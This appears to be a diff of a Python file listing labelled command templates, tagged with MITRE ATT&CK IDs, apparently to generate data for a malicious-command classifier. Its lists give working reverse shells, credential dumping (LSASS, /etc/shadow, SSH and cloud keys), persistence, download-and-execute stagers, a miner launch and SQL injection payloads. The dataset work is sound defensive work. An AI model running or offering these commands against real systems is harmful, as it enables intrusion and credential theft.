("bash", "T1046", "nmap -sV -sC -O {subnet}"),
|
| 115 |
+
("bash", "T1046", "masscan {subnet} -p1-65535 --rate={rate}"),
|
| 116 |
+
("bash", "T1046", "for i in $(seq 1 254); do ping -c1 -W1 {prefix}.$i | grep 'from'; done"),
|
| 117 |
+
("bash", "T1046", "for p in 22 80 443 445 3389; do (echo > /dev/tcp/{ip}/$p) 2>/dev/null && echo \"$p open\"; done"),
|
| 118 |
+
("bash", "T1033", "id; whoami; uname -a; cat /etc/os-release"),
|
| 119 |
+
("bash", "T1087.001", "cat /etc/passwd | cut -d: -f1"),
|
| 120 |
+
("bash", "T1069", "getent group sudo; cat /etc/sudoers 2>/dev/null"),
|
| 121 |
+
("bash", "T1548.003", "sudo -l"),
|
| 122 |
+
("bash", "T1083", "find / -perm -4000 -type f 2>/dev/null"),
|
| 123 |
+
("bash", "T1083", "find / -writable -type d 2>/dev/null | grep -v proc"),
|
| 124 |
+
("bash", "T1016", "ip a; ip route; cat /etc/resolv.conf; arp -a"),
|
| 125 |
+
("bash", "T1049", "netstat -antp | grep LISTEN; ss -tulpn"),
|
| 126 |
+
("bash", "T1057", "ps -ef | grep -iE 'edr|falcon|defender|osquery|sysmon'"),
|
| 127 |
+
("bash", "T1082", "cat /proc/version; lscpu; df -h; mount"),
|
| 128 |
+
("bash", "T1613", "docker ps -a; ls -la /var/run/docker.sock; cat /proc/1/cgroup"),
|
| 129 |
+
("bash", "T1580", "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/"),
|
| 130 |
+
("bash", "T1580", "aws sts get-caller-identity && aws iam list-users && aws s3 ls"),
|
| 131 |
+
("bash", "T1069", "kubectl auth can-i --list; kubectl get secrets -A"),
|
| 132 |
+
("bash", "T1595", "gobuster dir -u http://{ip}/ -w /usr/share/wordlists/dirb/common.txt"),
|
| 133 |
+
("bash", "T1595", "nikto -h http://{ip}"),
|
| 134 |
+
("bash", "T1590", "enum4linux -a {ip}"),
|
| 135 |
+
("bash", "T1590", "smbclient -L //{ip} -N"),
|
| 136 |
+
("powershell", "T1087.002", "Get-ADUser -Filter * -Properties * | Select-Object samaccountname,description,memberof"),
|
| 137 |
+
("powershell", "T1069.002", "Get-ADGroupMember -Identity 'Domain Admins' -Recursive"),
|
| 138 |
+
("powershell", "T1018", "Get-ADComputer -Filter * | Select-Object -ExpandProperty DNSHostName"),
|
| 139 |
+
("powershell", "T1046", "1..1024 | % {{ echo ((New-Object Net.Sockets.TcpClient).Connect('{ip}',$_)) \"Port $_ is open\" }} 2>$null"),
|
| 140 |
+
("powershell", "T1518.001", "Get-MpComputerStatus; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct"),
|
| 141 |
+
("powershell", "T1082", "Get-ComputerInfo; Get-HotFix | Sort-Object InstalledOn"),
|
| 142 |
+
("powershell", "T1482", "nltest /domain_trusts /all_trusts; ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()"),
|
| 143 |
+
("powershell", "T1087.002", "Import-Module .\\PowerView.ps1; Get-NetUser | select cn,pwdlastset,lastlogon"),
|
| 144 |
+
("powershell", "T1087.002", "Invoke-BloodHound -CollectionMethod All -Domain {addomain} -ZipFileName loot.zip"),
|
| 145 |
+
("powershell", "T1135", "Find-DomainShare -CheckShareAccess"),
|
| 146 |
+
("cmd", "T1033", "whoami /all & net user & net localgroup administrators"),
|
| 147 |
+
("cmd", "T1087.002", "net user /domain & net group \"Domain Admins\" /domain"),
|
| 148 |
+
("cmd", "T1016", "ipconfig /all & route print & arp -a"),
|
| 149 |
+
("cmd", "T1049", "netstat -ano | findstr LISTENING"),
|
| 150 |
+
("cmd", "T1082", "systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\" /C:\"Domain\""),
|
| 151 |
+
("cmd", "T1057", "tasklist /v /fi \"username ne NT AUTHORITY\\SYSTEM\""),
|
| 152 |
+
("cmd", "T1018", "net view /domain & nltest /dclist:{addomain}"),
|
| 153 |
+
("cmd", "T1518.001", "wmic /namespace:\\\\root\\securitycenter2 path antivirusproduct get displayname"),
|
| 154 |
+
("cmd", "T1007", "sc query state= all | findstr SERVICE_NAME"),
|
| 155 |
+
("sql", "T1213", "SELECT table_name, column_name FROM information_schema.columns WHERE table_schema NOT IN ('mysql','sys');"),
|
| 156 |
+
("sql", "T1213", "SELECT name FROM sys.databases; SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');"),
|
| 157 |
+
("sql", "T1213", "SELECT usename, usesuper FROM pg_user; SELECT version();"),
|
| 158 |
+
]
|
| 159 |
+
|
| 160 |
+
# ---------------------------------------------------------------------------
|
| 161 |
+
# CREDENTIAL HARVESTING: dumping hashes, LSASS, secrets in files/browsers/cloud
|
| 162 |
+
# ---------------------------------------------------------------------------
|
| 163 |
+
CREDS = [
|
| 164 |
+
("bash", "T1003.008", "cat /etc/shadow"),
|
| 165 |
+
("bash", "T1003.008", "unshadow /etc/passwd /etc/shadow > /tmp/{file}.txt && john /tmp/{file}.txt"),
|
| 166 |
+
("bash", "T1552.001", "grep -rniE 'password|passwd|secret|api_key' / --include=*.{ext} 2>/dev/null"),
|
| 167 |
+
("bash", "T1552.001", "find / -name '*.env' -o -name 'wp-config.php' -o -name 'id_rsa' 2>/dev/null | xargs cat"),
|
| 168 |
+
("bash", "T1552.004", "cat /home/*/.ssh/id_rsa /root/.ssh/id_rsa 2>/dev/null"),
|
| 169 |
+
("bash", "T1552.001", "cat ~/.aws/credentials ~/.docker/config.json ~/.kube/config ~/.git-credentials"),
|
| 170 |
+
("bash", "T1552.003", "cat ~/.bash_history | grep -iE 'pass|mysql -p|sshpass|token'"),
|
| 171 |
+
("bash", "T1552.005", "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} > /tmp/.c"),
|
| 172 |
+
("bash", "T1552.007", "kubectl get secrets -A -o json | jq -r '.items[].data | map_values(@base64d)'"),
|
| 173 |
+
("bash", "T1555.003", "cp ~/.mozilla/firefox/*.default*/logins.json ~/.mozilla/firefox/*.default*/key4.db /tmp/{file}/"),
|
| 174 |
+
("bash", "T1555.001", "security dump-keychain -d login.keychain"),
|
| 175 |
+
("bash", "T1040", "tcpdump -i {iface} -A -s0 'port 21 or port 23 or port 110' | grep -iE 'user|pass'"),
|
| 176 |
+
("bash", "T1056.001", "echo 'alias sudo=\"read -sp \\\"[sudo] password for $USER: \\\" p; echo $p >> /tmp/.{file}; sudo\"' >> ~/.bashrc"),
|
| 177 |
+
("bash", "T1110.002", "hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt"),
|
| 178 |
+
("bash", "T1003.006", "impacket-secretsdump {addomain}/{user}:'{pw}'@{ip}"),
|
| 179 |
+
("bash", "T1558.003", "impacket-GetUserSPNs {addomain}/{user}:'{pw}' -dc-ip {ip} -request"),
|
| 180 |
+
("bash", "T1110.003", "hydra -L users.txt -P passwords.txt ssh://{ip} -t 4"),
|
| 181 |
+
("bash", "T1110.003", "crackmapexec smb {subnet} -u {user} -p passwords.txt --continue-on-success"),
|
| 182 |
+
("powershell", "T1003.001", "Invoke-Mimikatz -Command '\"privilege::debug\" \"sekurlsa::logonpasswords\"'"),
|
| 183 |
+
("powershell", "T1003.001", "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\\Windows\\Temp\\{file}.dmp full"),
|
| 184 |
+
("powershell", "T1003.006", "Invoke-Mimikatz -Command '\"lsadump::dcsync /domain:{addomain} /user:krbtgt\"'"),
|
| 185 |
+
("powershell", "T1558.003", "Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File {file}.txt"),
|
| 186 |
+
("powershell", "T1552.001", "Get-ChildItem -Path C:\\Users -Include *.txt,*.config,*.xml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'password'"),
|
| 187 |
+
("powershell", "T1555.004", "[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % {{ $_.RetrievePassword(); $_ }}"),
|
| 188 |
+
("powershell", "T1555.003", "Copy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" $env:TEMP\\{file}.db"),
|
| 189 |
+
("powershell", "T1056.002", "$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\\{file}.txt"),
|
| 190 |
+
("powershell", "T1552.006", "Get-GPPPassword"),
|
| 191 |
+
("powershell", "T1003.002", "Invoke-NinjaCopy -Path C:\\Windows\\System32\\config\\SAM -LocalDestination C:\\Temp\\SAM"),
|
| 192 |
+
("cmd", "T1003.002", "reg save HKLM\\SAM C:\\Windows\\Temp\\sam.save & reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system.save"),
|
| 193 |
+
("cmd", "T1003.001", "procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\{file}.dmp"),
|
| 194 |
+
("cmd", "T1003.003", "ntdsutil \"ac i ntds\" \"ifm\" \"create full C:\\Temp\\{file}\" q q"),
|
| 195 |
+
("cmd", "T1003.003", "vssadmin create shadow /for=C: & copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit"),
|
| 196 |
+
("cmd", "T1552.001", "findstr /si password *.xml *.ini *.txt *.config"),
|
| 197 |
+
("cmd", "T1555.004", "cmdkey /list & vaultcmd /listcreds:\"Windows Credentials\" /all"),
|
| 198 |
+
("cmd", "T1552.002", "reg query HKLM /f password /t REG_SZ /s"),
|
| 199 |
+
("cmd", "T1003.001", "mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit"),
|
| 200 |
+
("cmd", "T1552.001", "netsh wlan show profile name=\"{word}\" key=clear"),
|
| 201 |
+
("sql", "T1555", "SELECT user, authentication_string FROM mysql.user;"),
|
| 202 |
+
("sql", "T1555", "SELECT name, password_hash FROM sys.sql_logins;"),
|
| 203 |
+
("sql", "T1555", "SELECT usename, passwd FROM pg_shadow;"),
|
| 204 |
+
("sql", "T1555", "SELECT username, password, email FROM {table} INTO OUTFILE '/var/www/html/{file}.txt';"),
|
| 205 |
+
]
|
| 206 |
+
|
| 207 |
+
# ---------------------------------------------------------------------------
|
| 208 |
+
# REVERSE SHELL: interactive callbacks to an attacker-controlled listener
|
| 209 |
+
# ---------------------------------------------------------------------------
|
| 210 |
+
REVSHELL = [
|
| 211 |
+
("bash", "T1059.004", "bash -i >& /dev/tcp/{ip}/{port} 0>&1"),
|
| 212 |
+
("bash", "T1059.004", "bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'"),
|
| 213 |
+
("bash", "T1059.004", "0<&196;exec 196<>/dev/tcp/{ip}/{port}; sh <&196 >&196 2>&196"),
|
| 214 |
+
("bash", "T1059.004", "nc -e /bin/sh {ip} {port}"),
|
| 215 |
+
("bash", "T1059.004", "ncat {ip} {port} -e /bin/bash"),
|
| 216 |
+
("bash", "T1059.004", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f"),
|
| 217 |
+
("bash", "T1059.004", "mknod /tmp/{file} p; /bin/sh 0</tmp/{file} | nc {ip} {port} 1>/tmp/{file}"),
|
| 218 |
+
("bash", "T1059.004", "socat tcp-connect:{ip}:{port} exec:'bash -li',pty,stderr,setsid,sigint,sane"),
|
| 219 |
+
("bash", "T1059.006", "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"),
|
| 220 |
+
("bash", "T1059.006", "python -c 'import pty,socket,os;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'"),
|
| 221 |
+
("bash", "T1059", "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'"),
|
| 222 |
+
("bash", "T1059", "php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"),
|
| 223 |
+
("bash", "T1059", "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"),
|
| 224 |
+
("bash", "T1059", "awk 'BEGIN {{s = \"/inet/tcp/0/{ip}/{port}\"; while(42) {{ do{{ printf \"shell>\" |& s; s |& getline c; if(c){{ while ((c |& getline) > 0) print $0 |& s; close(c); }} }} while(c != \"exit\") close(s); }}}}' /dev/null"),
|
| 225 |
+
("bash", "T1059", "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('{ip}','{port}');os.execute('/bin/sh -i <&3 >&3 2>&3');\""),
|
| 226 |
+
("bash", "T1059", "node -e 'sh=require(\"child_process\").spawn(\"/bin/sh\");c=require(\"net\").connect({port},\"{ip}\",()=>{{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)}})'"),
|
| 227 |
+
("bash", "T1059.004", "openssl s_client -quiet -connect {ip}:{port} | /bin/sh 2>&1 | openssl s_client -quiet -connect {ip}:{port2}"),
|
| 228 |
+
("bash", "T1059.004", "telnet {ip} {port} | /bin/bash | telnet {ip} {port2}"),
|
| 229 |
+
("bash", "T1059.004", "echo {b64revshell} | base64 -d | bash"),
|
| 230 |
+
("powershell", "T1059.001", "$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"),
|
| 231 |
+
("powershell", "T1059.001", "powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length)) -ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}}\""),
|
| 232 |
+
("powershell", "T1059.001", "powershell -nop -w hidden -enc {b64ps}"),
|
| 233 |
+
("powershell", "T1059.001", "IEX(New-Object Net.WebClient).DownloadString('http://{ip}:{port2}/powercat.ps1');powercat -c {ip} -p {port} -e cmd"),
|
| 234 |
+
("powershell", "T1059.001", "Invoke-PowerShellTcp -Reverse -IPAddress {ip} -Port {port}"),
|
| 235 |
+
("cmd", "T1059.003", "nc.exe {ip} {port} -e cmd.exe"),
|
| 236 |
+
("cmd", "T1059.003", "ncat.exe --ssl {ip} {port} -e cmd.exe"),
|
| 237 |
+
("cmd", "T1218.010", "regsvr32 /s /n /u /i:http://{ip}:{port}/{file}.sct scrobj.dll"),
|
| 238 |
+
("cmd", "T1218.005", "mshta http://{ip}:{port}/{file}.hta"),
|
| 239 |
+
("sql", "T1505.001", "EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient(''{ip}'',{port})\"';"),
|
| 240 |
+
("sql", "T1505.001", "COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/{ip}/{port} 0>&1\"';"),
|
| 241 |
+
]
|
| 242 |
+
|
| 243 |
+
# ---------------------------------------------------------------------------
|
| 244 |
+
# PERSISTENCE: surviving reboots / re-login
|
| 245 |
+
# ---------------------------------------------------------------------------
|
| 246 |
+
PERSIST = [
|
| 247 |
+
("bash", "T1053.003", "(crontab -l 2>/dev/null; echo \"*/{min} * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'\") | crontab -"),
|
| 248 |
+
("bash", "T1053.003", "echo '@reboot root curl -s http://{ip}/{file}.sh | sh' >> /etc/crontab"),
|
| 249 |
+
("bash", "T1098.004", "mkdir -p ~/.ssh && echo 'ssh-ed25519 {sshkey} {user}@{host}' >> ~/.ssh/authorized_keys"),
|
| 250 |
+
("bash", "T1098.004", "echo 'ssh-rsa {sshkey}' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys"),
|
| 251 |
+
("bash", "T1543.002", "printf '[Service]\\nExecStart=/usr/local/bin/.{file}\\nRestart=always\\n[Install]\\nWantedBy=multi-user.target\\n' > /etc/systemd/system/{svc2}.service && systemctl enable --now {svc2}"),
|
| 252 |
+
("bash", "T1546.004", "echo 'nohup /tmp/.{file} >/dev/null 2>&1 &' >> ~/.bashrc"),
|
| 253 |
+
("bash", "T1546.004", "echo '/usr/local/bin/.{file} &' >> /etc/profile"),
|
| 254 |
+
("bash", "T1136.001", "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash {user2} && echo '{user2}:{pw}' | chpasswd"),
|
| 255 |
+
("bash", "T1548.003", "echo '{user} ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers"),
|
| 256 |
+
("bash", "T1037.004", "echo '/tmp/.{file} &' >> /etc/rc.local && chmod +x /etc/rc.local"),
|
| 257 |
+
("bash", "T1574.006", "echo /usr/lib/lib{file}.so > /etc/ld.so.preload"),
|
| 258 |
+
("bash", "T1505.003", "echo '<?php system($_GET[\"cmd\"]); ?>' > /var/www/html/{file}.php"),
|
| 259 |
+
("bash", "T1543.001", "cp /tmp/{file}.plist ~/Library/LaunchAgents/com.{svc2}.plist && launchctl load ~/Library/LaunchAgents/com.{svc2}.plist"),
|
| 260 |
+
("powershell", "T1547.001", "Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '{svc2}' -Value 'powershell -w hidden -nop -c IEX(IWR http://{ip}/{file}.ps1)'"),
|
| 261 |
+
("powershell", "T1053.005", "$a = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc {b64ps}'; $t = New-ScheduledTaskTrigger -AtLogOn; Register-ScheduledTask -TaskName '{svc2}' -Action $a -Trigger $t -RunLevel Highest"),
|
| 262 |
+
("powershell", "T1546.003", "$f = Set-WmiInstance -Class __EventFilter -Namespace root\\subscription -Arguments @{{Name='{svc2}';EventNameSpace='root\\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}}"),
|
| 263 |
+
("powershell", "T1136.001", "New-LocalUser -Name '{user2}' -Password (ConvertTo-SecureString '{pw}' -AsPlainText -Force); Add-LocalGroupMember -Group 'Administrators' -Member '{user2}'"),
|
| 264 |
+
("powershell", "T1547.001", "Copy-Item $env:TEMP\\{file}.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{svc2}.exe\""),
|
| 265 |
+
("powershell", "T1546.013", "Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\\{file}.exe'"),
|
| 266 |
+
("cmd", "T1547.001", "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v {svc2} /t REG_SZ /d \"C:\\ProgramData\\{file}.exe\" /f"),
|
| 267 |
+
("cmd", "T1053.005", "schtasks /create /tn \"{svc2}\" /tr \"C:\\ProgramData\\{file}.exe\" /sc onlogon /ru SYSTEM /f"),
|
| 268 |
+
("cmd", "T1543.003", "sc create {svc2} binPath= \"C:\\ProgramData\\{file}.exe\" start= auto & sc start {svc2}"),
|
| 269 |
+
("cmd", "T1136.001", "net user {user2} {pw} /add & net localgroup administrators {user2} /add"),
|
| 270 |
+
("cmd", "T1546.008", "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\\windows\\system32\\cmd.exe\" /f"),
|
| 271 |
+
("cmd", "T1547.004", "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v Userinit /d \"C:\\Windows\\system32\\userinit.exe,C:\\ProgramData\\{file}.exe\" /f"),
|
| 272 |
+
("sql", "T1505.001", "CREATE TRIGGER {svc2} AFTER INSERT ON {table} FOR EACH ROW EXECUTE PROCEDURE {file}();"),
|
| 273 |
+
("sql", "T1136", "CREATE LOGIN {user2} WITH PASSWORD = '{pw}'; EXEC sp_addsrvrolemember '{user2}', 'sysadmin';"),
|
| 274 |
+
("sql", "T1136", "CREATE USER '{user2}'@'%' IDENTIFIED BY '{pw}'; GRANT ALL PRIVILEGES ON *.* TO '{user2}'@'%' WITH GRANT OPTION;"),
|
| 275 |
+
]
|
| 276 |
+
|
| 277 |
+
# ---------------------------------------------------------------------------
|
| 278 |
+
# DOWNLOAD & EXECUTE: fetching a remote payload and running it (stagers)
|
| 279 |
+
# ---------------------------------------------------------------------------
|
| 280 |
+
DOWNEXEC = [
|
| 281 |
+
("bash", "T1105", "curl -s http://{ip}/{file}.sh | bash"),
|
| 282 |
+
("bash", "T1105", "wget -qO- http://{ip}:{port2}/{file}.sh | sh"),
|
| 283 |
+
("bash", "T1105", "curl -fsSL http://{ip}/{file} -o /tmp/.{file} && chmod +x /tmp/.{file} && /tmp/.{file}"),
|
| 284 |
+
("bash", "T1105", "wget http://{ip}/{file} -O /dev/shm/{file}; chmod 777 /dev/shm/{file}; nohup /dev/shm/{file} &"),
|
| 285 |
+
("bash", "T1105", "cd /tmp && wget http://{ip}/x86 && chmod +x x86 && ./x86 {word}; rm -f x86"),
|
| 286 |
+
("bash", "T1105", "curl -s http://{ip}/{file}.py | python3 -"),
|
| 287 |
+
("bash", "T1105", "busybox wget http://{ip}/{file} -O- > /tmp/{file}; sh /tmp/{file}"),
|
| 288 |
+
("bash", "T1105", "python3 -c \"import urllib.request;exec(urllib.request.urlopen('http://{ip}/{file}.py').read())\""),
|
| 289 |
+
("bash", "T1105", "curl -k https://{ip}:{port2}/xmrig -o /var/tmp/.{file} && chmod +x /var/tmp/.{file} && /var/tmp/.{file} -o pool.{domain}:{port} --donate-level 1 -B"),
|
| 290 |
+
("bash", "T1027", "echo {b64dl} | base64 -d | sh"),
|
| 291 |
+
("bash", "T1105", "tftp -g -r {file} {ip} && chmod +x {file} && ./{file}"),
|
| 292 |
+
("powershell", "T1059.001", "IEX (New-Object Net.WebClient).DownloadString('http://{ip}/{file}.ps1')"),
|
| 293 |
+
("powershell", "T1059.001", "powershell -nop -w hidden -ep bypass -c \"IEX(IWR -UseBasicParsing http://{ip}:{port2}/{file}.ps1)\""),
|
| 294 |
+
("powershell", "T1105", "(New-Object Net.WebClient).DownloadFile('http://{ip}/{file}.exe',\"$env:TEMP\\{file}.exe\"); Start-Process \"$env:TEMP\\{file}.exe\""),
|
| 295 |
+
("powershell", "T1105", "Invoke-WebRequest http://{ip}/{file}.exe -OutFile C:\\Users\\Public\\{file}.exe; & C:\\Users\\Public\\{file}.exe"),
|
| 296 |
+
("powershell", "T1027", "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand {b64ps}"),
|
| 297 |
+
("powershell", "T1059.001", "iex ([System.Text.Encoding]::UTF8.GetString((New-Object Net.WebClient).DownloadData('http://{ip}/{file}')))"),
|
| 298 |
+
("powershell", "T1059.001", "$w=New-Object Net.WebClient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iex $w.DownloadString('https://{domain2}/{file}')"),
|
| 299 |
+
("powershell", "T1620", "$b=(New-Object Net.WebClient).DownloadData('http://{ip}/{file}.dll');[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,@(,[string[]]@()))"),
|
| 300 |
+
("cmd", "T1105", "certutil -urlcache -split -f http://{ip}/{file}.exe %TEMP%\\{file}.exe && %TEMP%\\{file}.exe"),
|
| 301 |
+
("cmd", "T1197", "bitsadmin /transfer {svc2} /download /priority high http://{ip}/{file}.exe C:\\Users\\Public\\{file}.exe & start C:\\Users\\Public\\{file}.exe"),
|
| 302 |
+
("cmd", "T1218.005", "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -nop -c iex(iwr http://{ip}/{file}.ps1)\"\",0:close\")"),
|
| 303 |
+
("cmd", "T1218.011", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:http://{ip}/{file}.sct\")"),
|
| 304 |
+
("cmd", "T1218.007", "msiexec /q /i http://{ip}/{file}.msi"),
|
| 305 |
+
("cmd", "T1105", "curl.exe -s http://{ip}/{file}.bat -o %TEMP%\\{file}.bat & call %TEMP%\\{file}.bat"),
|
| 306 |
+
("sql", "T1105", "EXEC xp_cmdshell 'certutil -urlcache -f http://{ip}/{file}.exe C:\\Windows\\Temp\\{file}.exe && C:\\Windows\\Temp\\{file}.exe';"),
|
| 307 |
+
("sql", "T1105", "COPY {table} FROM PROGRAM 'curl -s http://{ip}/{file}.sh | bash';"),
|
| 308 |
+
]
|
| 309 |
+
|
| 310 |
+
# ---------------------------------------------------------------------------
|
| 311 |
+
# SQL INJECTION: payload fragments as they appear in parameters / WAF logs
|
| 312 |
+
# ---------------------------------------------------------------------------
|
| 313 |
+
SQLI = [
|
| 314 |
+
("sql", "T1190", "' OR '1'='1' -- "),
|
| 315 |
+
("sql", "T1190", "' OR 1=1#"),
|
| 316 |
+
("sql", "T1190", "admin'-- "),
|
| 317 |
+
("sql", "T1190", "{n}' UNION SELECT NULL,username,password FROM users-- -"),
|
| 318 |
+
("sql", "T1190", "' UNION SELECT {nulls}@@version-- -"),
|
| 319 |
+
("sql", "T1190", "-{n} UNION ALL SELECT table_name,NULL FROM information_schema.tables-- -"),
|
| 320 |
+
("sql", "T1190", "{n} AND (SELECT SLEEP({sec}))-- -"),
|
| 321 |
+
("sql", "T1190", "'; WAITFOR DELAY '0:0:{sec}'--"),
|
| 322 |
+
("sql", "T1190", "{n}' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a"),
|
| 323 |
+
("sql", "T1190", "' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--"),
|
| 324 |
+
("sql", "T1190", "' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -"),
|
| 325 |
+
("sql", "T1190", "'; DROP TABLE {table};--"),
|
| 326 |
+
("sql", "T1190", "{n}; INSERT INTO users (username,password,role) VALUES ('{user2}','{pw}','admin')--"),
|
| 327 |
+
("sql", "T1190", "' OR pg_sleep({sec})--"),
|
| 328 |
+
("sql", "T1190", "1' ORDER BY {n}-- -"),
|
| 329 |
+
("sql", "T1190", "' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -"),
|
| 330 |
+
("sql", "T1190", "\" OR \"\"=\"\""),
|
| 331 |
+
("sql", "T1190", "{n} OR 1=1 LIMIT 1 OFFSET {n2}"),
|
| 332 |
+
("sql", "T1190", "'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'"),
|
| 333 |
+
("sql", "T1190", "SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';"),
|
| 334 |
+
("http", "T1190", "GET /products.php?id={n}%27%20UNION%20SELECT%20username,password%20FROM%20users--%20- HTTP/1.1"),
|
| 335 |
+
("http", "T1190", "/search?q=%27%20OR%201%3D1--&sort=name"),
|
| 336 |
+
("http", "T1190", "POST /login user=admin%27--&pass=x"),
|
| 337 |
+
("http", "T1190", "/item?id={n}%20AND%20SLEEP({sec})"),
|
| 338 |
+
("bash", "T1190", "sqlmap -u \"http://{ip}/page.php?id={n}\" --batch --dbs --dump"),
|
| 339 |
+
]
|
| 340 |
+
|
| 341 |
+
TEMPLATES = {
|
| 342 |
+
"benign": BENIGN,
|
| 343 |
+
"reconnaissance": RECON,
|
| 344 |
+
"credential_harvesting": CREDS,
|
| 345 |
+
"reverse_shell": REVSHELL,
|
| 346 |
+
"persistence": PERSIST,
|
| 347 |
+
"download_execute": DOWNEXEC,
|
| 348 |
+
"sql_injection": SQLI,
|
| 349 |
+
}
|
| 350 |
+
|
| 351 |
+
# ---------------------------------------------------------------------------
|
| 352 |
+
# v2 additions: more templates per class so tool families appear in every split
|
| 353 |
+
# ---------------------------------------------------------------------------
|
| 354 |
+
BENIGN += [
|
| 355 |
+
("bash", "", "sudo tail -n {n} /var/log/syslog"),
|
| 356 |
+
("bash", "", "grep -c 'Accepted publickey' /var/log/auth.log"),
|
| 357 |
+
("bash", "", "ssh-copy-id -i ~/.ssh/id_ed25519.pub {user}@{host}"),
|
| 358 |
+
("bash", "", "sudo adduser --disabled-password --gecos '' {user}"),
|
| 359 |
+
("bash", "", "sudo usermod -aG docker {user}"),
|
| 360 |
+
("bash", "", "sudo passwd -l {user}"),
|
| 361 |
+
("bash", "", "systemctl list-units --type=service --state=running"),
|
| 362 |
+
("bash", "", "sudo systemctl enable --now {svc}"),
|
| 363 |
+
("bash", "", "ss -s"),
|
| 364 |
+
("bash", "", "uname -r"),
|
| 365 |
+
("bash", "", "whoami"),
|
| 366 |
+
